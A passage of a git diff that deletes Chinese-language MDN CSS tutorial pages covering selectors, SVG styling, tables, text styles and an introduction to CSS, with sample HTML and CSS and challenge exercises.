    -#first { font-style: italic; }
    -
    -
  6. -
  7. 保存文件,在浏览器中查看效果: - - - - - - - - - -
    Cascading Style Sheets //此处应为斜体
    Cascading Style Sheets
    - -

    重新组织样式中规则的顺序,你会发现改变这几条规则的顺序不会影响最终效果。

    - -

    类选择器 .carrot.spinach 比标签选择器 strong 拥有更高优先级。

    - -

    ID 选择器 #first 比类选择器和标签选择器更优先。

    -
  8. -
- -
-
挑战
- -
    -
  1. 不改变HTML内容, 增加一条规则,不改变首字母颜色,将第二个p标签中的其他文字变成蓝色: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  2. -
  3. 现在改变上面增加的那条规则(不改变其他任何内容)让第一个p标签中的其他文字也变成蓝色: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  4. -
- -
-
Possible solution
- -
    -
  1. Add a rule with an ID selector of #second and a declaration color: blue;, as shown below: - -
    #second { color: blue; }
    -
    - A more specific selector, p#second also works.
  2. -
  3. Change the selector of the new rule to be a tag selector using p: -
    p { color: blue; }
    -
    -
  4. -
-Hide solution
-See a solution for the challenge.
- -

实例: 使用伪类选择器

- -
    -
  1. 创建如下 HTML: -
    <!doctype html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p>Go to our <a class="homepage" href="http://www.example.com/" title="Home page">Home page</a>.</p>
    -  </body>
    -</html>
    -
    -
  2. -
  3. 编辑CSS: -
    a.homepage:link, a.homepage:visited {
    -  padding: 1px 10px 1px 10px;
    -  color: #fff;
    -  background: #555;
    -  border-radius: 3px;
    -  border: 1px outset rgba(50,50,50,.5);
    -  font-family: georgia, serif;
    -  font-size: 14px;
    -  font-style: italic;
    -  text-decoration: none;
    -}
    -
    -a.homepage:hover, a.homepage:focus, a.homepage:active {
    -  background-color: #666;
    -}
    -
    -
  4. -
  5. 保存文件用浏览器查看HTML文件 (将鼠标放到链接上查看效果): - - - - - - -
    Go to our Home page  
    -
  6. -
- -

实例: 使用基于关系的选择器和伪类选择器

- -

通过使用基于关系的选择器和伪类选择器,你可以构造出复杂的叠加算法。这是一个常用的技巧,比如可以用来创建纯CSS无JavaScript的下拉菜单(pure-CSS dropdown menus)。关键点就是创建下面这类规则:

- -
div.menu-bar ul ul {
-  display: none;
-}
-
-div.menu-bar li:hover > ul {
-  display: block;
-}
- -

然后将这些规则应用到下面的HTML结构中:

- -
<div class="menu-bar">
-  <ul>
-    <li>
-      <a href="example.html">Menu</a>
-      <ul>
-        <li>
-          <a href="example.html">Link</a>
-        </li>
-        <li>
-          <a class="menu-nav" href="example.html">Submenu</a>
-          <ul>
-            <li>
-              <a class="menu-nav" href="example.html">Submenu</a>
-              <ul>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-              </ul>
-            </li>
-            <li><a href="example.html">Link</a></li>
-          </ul>
-        </li>
-      </ul>
-    </li>
-  </ul>
-</div>
-
- -

学习实例 CSS-based dropdown menu example.

- -

接下来是什么?

- -

你的样式表变得多而复杂。下面章节将讲述如何让样式表更 易读.{{nextPage("/zh-CN/docs/CSS/开始/Readable_CSS", "易读的 CSS")}}

diff --git a/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html b/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html deleted file mode 100644 index f2e753baca..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: SVG and CSS -slug: Web/Guide/CSS/Getting_started/SVG_and_CSS -translation_of: Web/SVG/Tutorial/SVG_and_CSS ---- -
- {{CSSTutorialTOC}}
-

本节将演示如何将CSS应用到 SVG 中。

-

你将创建一个简单的演示代码并在支持SVG的浏览器中运行。

-

这是 CSS 教程 第二部分的第二节
- 前一节: JavaScript
- 下一节: XML data

-

信息: SVG

-

SVG (Scalable Vector Graphics)是一个基于XML的图形描述语言。

-

它可以用于描述静态图、动画,以及用户界面。

-

和其他基于XML的语言一样,SVG 支持用 CSS 样式表将图形内容和图形样式分离。

-

在样式表中你可以在任何可以可以指定图片的地方指定一个SVG的URL。比如,在HTML的样式表中,你可以为 background 属性指定一个SVG的URL。

- - - - - - - -
- 更多细节
-

在这个教程编写的时间点(2011中旬),绝大多数现代浏览器都对SVG有基本的支持。其中包括 Internet Explorer 9 及其后续版本。一些SVG特性只被某些浏览器支持。参见 SVG tables on caniuse.com 了解支持情况。 参见 SVG element reference 了解兼容情况。

-

通过安装 Adobe 提供的插件,你可以让某些浏览器支持SVG。

-

欲在Mozilla了解更多关于SVG的信息,参考 这里SVG

-
-

实例: 一个SVG演示

-

建立一个SVG文件doc8.svg。复制下面所有内容:

-
<?xml version="1.0" standalone="no"?>
-
-<?xml-stylesheet type="text/css" href="style8.css"?>
-
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-
-<svg width="600px" height="600px" viewBox="-300 -300 600 600"
-  xmlns="http://www.w3.org/2000/svg" version="1.1"
-  xmlns:xlink="http://www.w3.org/1999/xlink">
-
-<title>SVG demonstration</title>
-<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
-
-<defs>
-  <g id="segment" class="segment">
-    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
-    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
-    </g>
-  <g id="quadrant">
-    <use xlink:href="#segment"/>
-    <use xlink:href="#segment" transform="rotate(18)"/>
-    <use xlink:href="#segment" transform="rotate(36)"/>
-    <use xlink:href="#segment" transform="rotate(54)"/>
-    <use xlink:href="#segment" transform="rotate(72)"/>
-    </g>
-  <g id="petals">
-    <use xlink:href="#quadrant"/>
-    <use xlink:href="#quadrant" transform="rotate(90)"/>
-    <use xlink:href="#quadrant" transform="rotate(180)"/>
-    <use xlink:href="#quadrant" transform="rotate(270)"/>
-    </g>
-  <radialGradient id="fade" cx="0" cy="0" r="200"
-      gradientUnits="userSpaceOnUse">
-    <stop id="fade-stop-1" offset="33%"/>
-    <stop id="fade-stop-2" offset="95%"/>
-    </radialGradient>
-  </defs>
-
-<text id="heading" x="-280" y="-270">
-  SVG demonstration</text>
-<text  id="caption" x="-280" y="-250">
-  Move your mouse pointer over the flower.</text>
-
-<g id="flower">
-  <circle id="overlay" cx="0" cy="0" r="200"
-    stroke="none" fill="url(#fade)"/>
-  <use id="outer-petals" xlink:href="#petals"/>
-  <use id="inner-petals" xlink:href="#petals"
-    transform="rotate(9) scale(0.33)"/>
-  </g>
-
-</svg>
-
-

创建一个CSS文件, style8.css。 复制下面所有内容:

-
/*** SVG demonstration ***/
-
-/* page */
-svg {
-  background-color: beige;
-  }
-
-#heading {
-  font-size: 24px;
-  font-weight: bold;
-  }
-
-#caption {
-  font-size: 12px;
-  }
-
-/* flower */
-#flower:hover {
-  cursor: crosshair;
-  }
-
-/* gradient */
-#fade-stop-1 {
-  stop-color: blue;
-  }
-
-#fade-stop-2 {
-  stop-color: white;
-  }
-
-/* outer petals */
-#outer-petals {
-  opacity: .75;
-  }
-
-#outer-petals .segment-fill {
-  fill: azure;
-  stroke: lightsteelblue;
-  stroke-width: 1;
-  }
-
-#outer-petals .segment-edge {
-  fill: none;
-  stroke: deepskyblue;
-  stroke-width: 3;
-  }
-
-#outer-petals .segment:hover > .segment-fill {
-  fill: plum;
-  stroke: none;
-  }
-
-#outer-petals .segment:hover > .segment-edge {
-  stroke: slateblue;
-  }
-
-/* inner petals */
-#inner-petals .segment-fill {
-  fill: yellow;
-  stroke: yellowgreen;
-  stroke-width: 1;
-  }
-
-#inner-petals .segment-edge {
-  fill: none;
-  stroke: yellowgreen;
-  stroke-width: 9;
-  }
-
-#inner-petals .segment:hover > .segment-fill {
-  fill: darkseagreen;
-  stroke: none;
-  }
-
-#inner-petals .segment:hover > .segment-edge {
-  stroke: green;
-  }
-
-

在支持SVG的浏览器中打开上面的文档。将鼠标移到图上。

-

由于这个wiki不支持嵌入SVG,所以下面是一个截图供参考:

- - - - - - -
SVG demonstration
-

解释:

-
    -
  • 这个SVG文档使用常见连接方法引入样式表。
  • -
  • SVG有自己一套CSS属性和对应的值。其中一些和HTML使用的CSS属性相似。
  • -
- - - - - - - -
- 挑战
修改样式表使得当鼠标指针移到任何一个内层花瓣上时所有内层花瓣都变为粉色,但不改变外层花瓣的效果。
-

接下来?

-

如果你有任何疑问或评论请移步到讨论区

-

在这个演示中,支持SVG的浏览器知道如何显示SVG元素。样式表只是修改其呈现的方式。同样,这对HTML和XUL文档也是适用的。你也可以将CSS用于XML文档。(与HTML相比,)XML没有预先为元素定义样式。下一个节将对此进行演示: XML data

diff --git a/files/zh-cn/web/guide/css/getting_started/tables/index.html b/files/zh-cn/web/guide/css/getting_started/tables/index.html deleted file mode 100644 index b6b4859e99..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/tables/index.html +++ /dev/null @@ -1,509 +0,0 @@ ---- -title: 表格 -slug: Web/Guide/CSS/Getting_started/Tables -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables ---- -

{{CSSTutorialTOC}}{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局")}}

- -

这是CSS入门教程的第13部分,将介绍更多高级的选择器,以及格式表格的一些特定方法。你将创建一个包含表格的新样例文档,然后对它进行样式排版。

- -

信息: 表格

- -

表格是一个矩形网格中的信息安排。一些表格相当复杂,不同的浏览器对复杂的表格将会有不同的展示结果。

- -

当你设计你的文档时,使用一个表格来表示一系列信息的关系。因为信息的意义依然清晰,所以不同浏览器用稍微不同的方式来展示表格是没有关系的。

- -

创建表格的时候,不要用一些非常规的方式构造特殊的可视化布局,本教程的前一页(布局)使用的技术可以更好的达成目的。

- -

表格结构

- -

在表格中,信息显示在一个个的单元格cell)中.

- -

在页面横向上一条直线的单元格构成了row)。

- -

在一些表格中,行可能被分组。表格开始的特定的行组是表头header)。表格最后的特定行组是表尾footer)。表格中主要的行就是表体body),这些表体也可能被分组。

- -

在页面纵向上一条直线的单元格构成了column),但是在CSS表格中,列的使用是受限的。

- -
-
示例
- -

选择器那章的基于关系的选择器就是一个五行十个单元格的表格。

- -

第一行是表头,其余四行是表体,没有表尾。

- -

表中有两列。

-
- -

本教程仅仅涵盖简单表格,其呈现结果完全可以预测。在一个简单表格里,每个单元格仅占用一行一列。你可以用CSS将一个单元格扩展到多行或者多列来构造复杂表格,但是这样的表格已超出了这个基本教程所讲述的范围。

- -

边框

- -

单元格没有外边距。

- -

但是单元格有边框和内边距。默认情况下,边框被表格的{{cssxref("border-spacing")}}属性值间隔。你也可以通过设置表格的{{cssxref("border-collapse")}}属性值为collapse来完全移除间隔。

- -
-
示例
- -

这有三个表格。

- -

左边的表格有0.5 em的边框间隔,中间的表格是0边框间隔,右边的表格是拥有collapse的边框。

- -
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
- - - - - - - - - - - - -
ClubsHearts
DiamondsSpades
- - - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
- -

标题

- -

{{HTMLElement("caption")}}元素是用在整个表格的一个标签。默认下,它显示在表格的顶部。

- -

可以设置{{HTMLElement("caption")}}的{{cssxref("caption-side")}}属性值为bottom来将标签移到表格的底部。

- -

想要样式化caption的文本,可以使用任何常规的文本属性。

- -
-
示例
- -

这个表格有一个在底部的标题。

- -
#demo-table > caption {
-  caption-side: bottom;
-  font-style: italic;
-  text-align: right;
-}
-
- - - - - - - -
- - - - - - - -
Suits
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
-
-
- -

空单元格

- -

你可以通过为表格元素指定{{cssxref("empty-cells")}}属性值show来显示空单元格(就是其边框和背景)。

- -

你也可以指定empty-cells: hide;来隐藏边框和背景,那么如果一个单元格的父元素设置了背景,背景将通过空单元格显示出来。

- -
-
实例
- -

这些表格有苍绿色的背景,其单元格有苍灰色的背景和深灰色的边框。

- -

左边的表格,空单元格是显示的。在右边,空单元格是隐藏的。

- - - - - - - - -
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
-
- -
-
细节
- -

请查看CSS规范中的表格来获得更多关于表格的细节信息。

- -

规范中有比该教程更进一步的信息,但它不包括浏览器可能会影响复杂表格之间的差异。

-
- -

实例: 设计表格样式

- -
    -
  1. 创建一个新的HTML文档, doc3.html。 复制粘贴以下内容,请确保通过滚动获取全部内容: - -
    -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <title>Sample document 3</title>
    -    <link rel="stylesheet" href="style3.css">
    -  </head>
    -  <body>
    -    <table id="demo-table">
    -      <caption>Oceans</caption>
    -      <thead>
    -        <tr>
    -          <th></th>
    -          <th>Area</th>
    -          <th>Mean depth</th>
    -        </tr>
    -        <tr>
    -          <th></th>
    -          <th>million km<sup>2</sup></th>
    -          <th>m</th>
    -        </tr>
    -      </thead>
    -      <tbody>
    -        <tr>
    -          <th>Arctic</th>
    -          <td>13,000</td>
    -          <td>1,200</td>
    -        </tr>
    -        <tr>
    -          <th>Atlantic</th>
    -          <td>87,000</td>
    -          <td>3,900</td>
    -        </tr>
    -        <tr>
    -          <th>Pacific</th>
    -          <td>180,000</td>
    -          <td>4,000</td>
    -        </tr>
    -        <tr>
    -          <th>Indian</th>
    -          <td>75,000</td>
    -          <td>3,900</td>
    -        </tr>
    -        <tr>
    -          <th>Southern</th>
    -          <td>20,000</td>
    -          <td>4,500</td>
    -        </tr>
    -      </tbody>
    -      <tfoot>
    -        <tr>
    -          <th>Total</th>
    -          <td>361,000</td>
    -          <td></td>
    -        </tr>
    -        <tr>
    -          <th>Mean</th>
    -          <td>72,000</td>
    -          <td>3,800</td>
    -        </tr>
    -      </tfoot>
    -    </table>
    -  </body>
    -</html>
    -
    -
    -
  2. -
  3. 创建一个新的样式表 style3.css。复制粘贴一些内容,通过滚动获取全部内容: -
    /*** Style for doc3.html (Tables) ***/
    -
    -#demo-table {
    -  font: 100% sans-serif;
    -  background-color: #efe;
    -  border-collapse: collapse;
    -  empty-cells: show;
    -  border: 1px solid #7a7;
    -}
    -
    -#demo-table > caption {
    -  text-align: left;
    -  font-weight: bold;
    -  font-size: 200%;
    -  border-bottom: .2em solid #4ca;
    -  margin-bottom: .5em;
    -}
    -
    -
    -/* basic shared rules */
    -#demo-table th,
    -#demo-table td {
    -  text-align: right;
    -  padding-right: .5em;
    -}
    -
    -#demo-table th {
    -  font-weight: bold;
    -  padding-left: .5em;
    -}
    -
    -
    -/* header */
    -#demo-table > thead > tr:first-child > th {
    -  text-align: center;
    -  color: blue;
    -}
    -
    -#demo-table > thead > tr + tr > th {
    -  font-style: italic;
    -  color: gray;
    -}
    -
    -/* fix size of superscript */
    -#demo-table sup {
    -  font-size: 75%;
    -}
    -
    -/* body */
    -#demo-table td {
    -  background-color: #cef;
    -  padding:.5em .5em .5em 3em;
    -}
    -
    -#demo-table tbody th:after {
    -  content: ":";
    -}
    -
    -
    -/* footer */
    -#demo-table tfoot {
    -  font-weight: bold;
    -}
    -
    -#demo-table tfoot th {
    -  color: blue;
    -}
    -
    -#demo-table tfoot th:after {
    -  content: ":";
    -}
    -
    -#demo-table > tfoot td {
    -  background-color: #cee;
    -}
    -
    -#demo-table > tfoot > tr:first-child td {
    -  border-top: .2em solid #7a7;
    -}
    -
    -
  4. -
  5. 在浏览器打开文档,它将看起来像下面一样: - - - - - - -
    -
    -

    Oceans

    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
     AreaMean depth
     million km2m
    Arctic:13,0001,200
    Atlantic:87,0003,900
    Pacific:180,0004,000
    Indian:75,0003,900
    Southern:20,0004,500
    Total:361,000 
    Mean:72,0003,800
    -
    -
    -
    -
  6. -
  7. 对比样式表里显示表格的规则来确保你理解每一条规则的效果。如果你发现你不明白某一条,注释掉,然后刷新浏览器来看看发生什么。下面是关于该表格一些注意事项: -
      -
    • 标题是放在表格边框的外面的;
    • -
    • 如果你在可选项中设置了最小点尺寸,它可能会影响km2这样的上标;
    • -
    • 有三个空单元格,其中两个显示了表格的背景色,第三个有单元格自己的背景和上边框;
    • -
    • 冒号是通过样式表来添加的。
    • -
    -
  8. -
- -
-
挑战
- -

更改样式表来使表格像下面一样显示:

- - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 AreaMean depth
 million km2m
Arctic:13,0001,200
Atlantic:87,0003,900
Pacific:180,0004,000
Indian:75,0003,900
Southern:20,0004,500
Total:361,000 
Mean:72,0003,800
-
- -

Oceans

-
-
-
- -

查看挑战的答案。

- -

接下来?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Media", "媒体")}}这是本教程关于CSS属性和值的最后一页。请查看CSS规范中的完全属性表来获得完整的属性和值的信息。

- -

下一页将再次着眼于CSS样式表的目的和结构。

-
diff --git a/files/zh-cn/web/guide/css/getting_started/text_styles/index.html b/files/zh-cn/web/guide/css/getting_started/text_styles/index.html deleted file mode 100644 index f7d1d38b23..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/text_styles/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: 文本样式 -slug: Web/Guide/CSS/Getting_started/Text_styles -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles ---- -

{{ CSSTutorialTOC() }}

- -

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "创建可读性良好的CSS")}} 这是CSS入门教程系列教程的第7部分;本节讲述了更多的有关文本的样式。你可以通过更改示例样式来使用不同的字体。

- -

资料:文本样式

- -

CSS提供了几个属性用来操作字体。

- -

我们先来看一个简写属性 {{ cssxref("font") }},使用这个属性可以很方便的指定其他的字体属性。比如:

- -
    -
  • 字体加粗,字体的风格:斜体和字体变形:小型大写字母
  • -
  • 字体的大小
  • -
  • 行高
  • -
  • 字体
  • -
- -
-
示例
- -
p {font: italic 75%/125% "Comic Sans MS", cursive;}
-
- -

这条规则定义了字体的几个属性,使整个段落文本都变成斜体。

- -

字体大小设置为每个段落父元素字体大小的3/4,行高设置为125%(比常规的间隔稍大一些)。

- -

文本字体设置为 Comic Sans MS,假如该字体不被浏览器支持则使用默认字体:cursive。

- -

这条规则还把bold和small-caps这些效果给去掉了(设置它们的值为normal)。

-
- -

 

- -

字体

- -

你无法预料到用户是否可以访问样式表里定义的字体。所以在设置字体时,在属性后指定一个替代的字体列表是个不错的主意。

- -

在这个字体列表的最后加上系统字体中的一个,如:serif,sans-serif,cursive,fantasy或monospace。

- -

如果字体不支持样式表里设置的字体特征,浏览器会使用另一种字体。比如,样式表中包含字体不支持的特殊字符,如果浏览器发现另一种字体支持这些特殊字符,那浏览器就会选择使用这种字体。

- -

使用 {{ cssxref("font-family") }} 属性指定文本的字体。

- -

简体中文的字体示例:

- -

Windows:font-family:微软雅黑;

- -

Mac OS:font-family:"Songti SC";

- -

字号

- -

浏览器用户浏览页面时,可以覆盖页面默认的文号大小,也可以改变页面的字号大小。所以说尽可能的使用相对的字号大小对你来说是有意义的。

- -

你可使用系统内置的值来设置字号,比如small,medium和large。你也可以使用相对父元素字号大小的值来设置,比如:smaller,larger,150%或1.5em。1“em”等于1个字母“m”的宽度(相对于父元素字号大小);因此1.5em就是1.5倍的父元素字号大小。

- -

如果有必要你也可以指定一个实际的大小,比如14px(14像素)应用于显示设备或14pt(14点)应用于打印设备。但是实际大小不能应用于视力受损用户的设备上,因为这些设备不支持指定实际的值。一个比较容易实现的策略是给顶级的文档元素指定一个系统内置的值如medium,然后再给它的子元素设置个相对值。

- -

使用{{ cssxref("font-size") }} 属性指定字体的大小。

- -

行高

- -

行高用来指定行与行之间的距离。如果你的文档中有一个很长的段落由很多行组成,而且这个段落的字号还比较小,这时给它指定一个稍大的间距,这样阅读起来会更方便。

- -

使用 {{ cssxref("line-height") }} 属性指定文本的行间距。

- -

装饰

- -

单独的 {{ cssxref("text-decoration") }}就可以为文本指定其他风格,比如underline或line-through。你也可以把值设置成none,把这些风格取消掉。

- -

其他属性

- -

使用{{ cssxref("font-style") }}: italic;指定文本为斜体;

- -

使用 {{ cssxref("font-weight") }}: bold;指定文本加粗;

- -

使用 {{ cssxref("font-variant") }}: small-caps;指定文本为小型大写字母;

- -

如果我们想单独设置某个效果失效,我们可以把其相应的属性设置为normal或inherit.

- -
-
详细资料
- -

我们也可以采用其他方式指定文本样式。

- -

比如,这里提到的几个属性的其他值。

- -

在一个复杂的样式表中,应该避免使用font属性,因为它的副作用(重置其他个体属性)。

- -

字体相关的全部细节,可以在CSS规范里查看Fonts 。文本修饰相关可以查看 Text 。

- -

如果我们不想使用系统上的默认字体库,我们可以使用{ { cssxref(@font-face)} }指定一个在线字体。然而,这要求用户的浏览器支持该字体。

-
- -

实践:指定字体

- -

对于一个简单的页面,我们可以设置 {{ HTMLElement("body") }}元素的字体,然后页面中的其他元素继承这个设置。

- -
    -
  1. 编辑我们的样式表。
  2. -
  3. 添加以下规则到你的样式表中。推荐这个规则放在css文件的开头: -
    body {font: 16px "Comic Sans MS", cursive;}
    -
    -
  4. -
  5. 添加一个该规则的注释,可以添加空格匹配你的整体样式布局。
  6. -
  7. 保存文件并刷新浏览器查看效果。如果你的系统有Comic Sans MS或cursive字体,这两种字体都不支持斜体。你的浏览器会自动选择另一种字体实现斜体,效果如第一行。 - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  8. -
  9. 从浏览器的菜单栏中选择 视图 > 字体大小 > 放大(或视图 > 缩放 > 放大)。即使你在样式里指定了字体为16px。用户浏览网页时,还是可以改变字体字号的大小。
  10. -
- -
-
挑战
- -

不改变什么,让6个初始字母的字号大小调整为2倍于浏览默认的衬线字体:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -
-
Possible solution
- -

Add the following style declaration to the strong rule:

- -
  font: 200% serif;
-
-If you use separate declarations for font-size and font-family, then the font-style setting on the first paragraph is not overridden. - -

 

-Hide solution
-查看答案.
- -

下一节?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色")}}示例文档已经使用几个颜色命名。下一节列表中将列出标准的颜色名称,并且介绍其他的定义颜色的方式。

diff --git a/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html b/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html deleted file mode 100644 index 7fcb01c0b0..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: What is CSS -slug: Web/Guide/CSS/Getting_started/What_is_CSS -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS ---- -
{{CSSTutorialTOC}}
- -

{{previousPage("/zh-CN/docs/CSS/开始", "开始")}} 作为 CSS 入门指南 教程的第一部分,本文解释了什么是 CSS。你需要创建一个文档以便用于接下来的学习。

- -

资料: 什么是 CSS

- -

Cascading Style Sheets (CSS) 是一门指定文档该如何呈现给用户的语言。

- -

文档 是信息的集合,它使用一门 标记语言 作为结构。

- -

将一篇文档 呈现 给用户是指将文档转换成你的听众能够使用的一种形式。火狐、Chrome或IE等浏览器,用于将文档以可视的形式进行呈现,如在计算机屏幕、投影仪或打印机上。

- -
-
示例
- -
    -
  • 你现在阅读的这个网页就是文档。
    - 网页中的信息通常使用标记语言 HTML (HyperText Markup Language) 来组织它的结构。
  • -
  • 一个应用中的对话框,也称为模态窗口,也是文档。
    - 这样的对话框可能也会使用类似于 XUL 这样的标记语言。Mozilla 的有些应用使用了该语言。
  • -
-
- -

在该教程中,如果使用像下方这样标题为 更多细节 的框,里面会包含额外信息。如果你迫切的想完成整个教程,那么可以跳过这些方框,等到以后有时间再回来看。当然也可以在碰到方框的时候去阅读这些内容,或者更进一步的,按照里面提供的链接去了解更多细节。

- -
-
更多细节
- -

一个文档并不等同于一个文件。它甚至可能不会保存在一个文件中。

- -

举例来说,你现在阅读的这个文档就不是保存在一个文件中。当你的浏览器请求该页面时,服务器会查询数据库生成文档,将散落在众多文件中的文档的碎片搜集起来。然而在本教程中,你使用的都是保存在文件中的文档。

- -

关于文档与标记语言的更多信息,可以查看本网站的其他部分—例如:

- - - - - - - - - - - - - - - - - - - - -
HTML用于 web 页面
XML用于结构化文档
SVG用于图形
XUL用于 Mozilla 中的用户界面
- -

在教程的第二部分,你会看到使用这些标记语言的例子。

-
- -

 为用户展现 文档意味着将其转换成一个可读性良好的格式。像 Firefox, Chrome 或是 Internet Explorer 这样的浏览器倾向于使用更视觉化的方式来展现文档 — 例如,在计算机屏幕,投影仪或是打印机上。

- -
-
更多细节
- -

CSS 并非仅仅用于浏览器,也不仅限于视觉展现。按照 CSS 的正式术语来讲,将文档呈现给用户的程序称为用户代理(UA)。浏览器只是用户代理的其中之一。不过在教程的第一部分中,你将只在浏览器中使用 CSS。

- -

要了解更多 CSS 术语定义的相关内容,请查看 CSS 规范的 定义

-
- -

动手:创建一个文档

- -
    -
  1. 在你的电脑中创建一个新的文件夹,用于保存和管理本指南中的练习。
  2. -
  3. 打开你的文本编辑器并创建一个新文件。该文件将用于保存后续练习中的文档。
  4. -
  5. 将下面的内容复制粘贴进文本文件中。保存文件,将其命名为 doc1.html -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  </head>
    -
    -  <body>
    -    <p>
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  6. -
  7. 在你的浏览器中开启一个新的标签页或窗口,打开文件。 -

    你会看到一串开头字母大写的文本,像这样:

    - - - - - - - -
    Cascading Style Sheets
    - -

    由于你的浏览器与该 wiki 的设置可能不同,所以你看到的内容与上面显示的不一定相符合。如果在字体、间距或颜色有区别,请不要担心,因为这些内容暂时无关紧要。

    -
  8. -
- -

接下来是什么?

- -

{{nextPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为什么使用 CSS?")}}现在你的文档中还没有使用 CSS。在下一节中,你将会使用 CSS 来指定样式。

diff --git a/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html b/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html deleted file mode 100644 index ca5092f2af..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: 为何使用CSS? -slug: Web/Guide/CSS/Getting_started/Why_use_CSS -tags: - - CSS - - 'CSS:入门' - - NeedsLiveSample -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/What_is_CSS", "什么是CSS?") }}这是CSS入门教程 的第二章节,解释了CSS与文档的关系。在下面的练习中,你将学习如何给你在第一章节中创建的示例文档添加CSS样式表。

- -

信息: 为何使用CSS?

- -

CSS帮助您将文档信息的内容 和如何展现它的细节相分离。众所周知,如何展现文档的细节即为样式(style)。您可以将样式从它的内容分离出来,以便您能够:

- -
    -
  • 避免重复
  • -
  • 更容易维护
  • -
  • 为不同的目的,使用不同的样式而内容相同
  • -
- -
-
例如
- -

您的网站可能有成千上万的页面外观相似。使用CSS,您可以将样式信息存储在公共的文件中以供所有的页面共用。

- -

当用户显示页面时,用户的浏览器将样式信息和页面内容一同加载。

- -

当用户打印页面时,您可以提供不同的样式信息,以便于打印出来的页面更易于阅读。

-
- -

总之,在HTML中,您使用标记语言来描述文档的内容而不是它的样式。您可以使用CSS来指定它的样式而不是它的内容。 (在本教程后续内容中,您会看到此种的例外情况。)

- -
-
更多的细节
- -

像HTML之类的标记语言也会提供指定样式的方法。

- -

例如,在HTML中,您可以使用<b>标签来加粗文字,同时,您也可以在页面的<body>标记中指定背景颜色。

- -

当您使用CSS时,您通常要避免使用标记语言的这些特性,以便您所有的文档样式信息保存在同一地方。

-
- -

行动:创建样式表

- -
    -
  1. 在与前面相同的目录中,新建另一个文本文件。该文件将成为您的样式表。请将它命名为:style1.css
  2. -
  3. 在您的CSS文件中,复制、粘贴下面的行,并保存该文件: -
    strong {color: red;}
    -
    -
  4. -
- -

连接您的文档和样式表

- -
    -
  1. 为将您的文档和样式表相连,请编辑您的HTML文件。并添加下面高亮的行: -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p>
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  2. -
  3. 保存该文件并刷新您的浏览器。该样式表将首字母显示为红色,如下所示: - - - - - - -
    Cascading Style Sheets
    -
  4. -
- -
-
挑战
- -

除了红色外,CSS允许使用其它的颜色名称。

- -

不查询参考手册,请在您使用的样式表找出五个以上的颜色名称。

- -
-
Possible solution
- -

CSS supports common color names like orange, yellow, blue, green, or black. It also supports some more exotic color names like chartreuse, fuschia, or burlywood. See CSS Color value for a complete list as well as other ways of specifying colors.

-Hide solution
-请参考解答。
- -

下一节?

- -

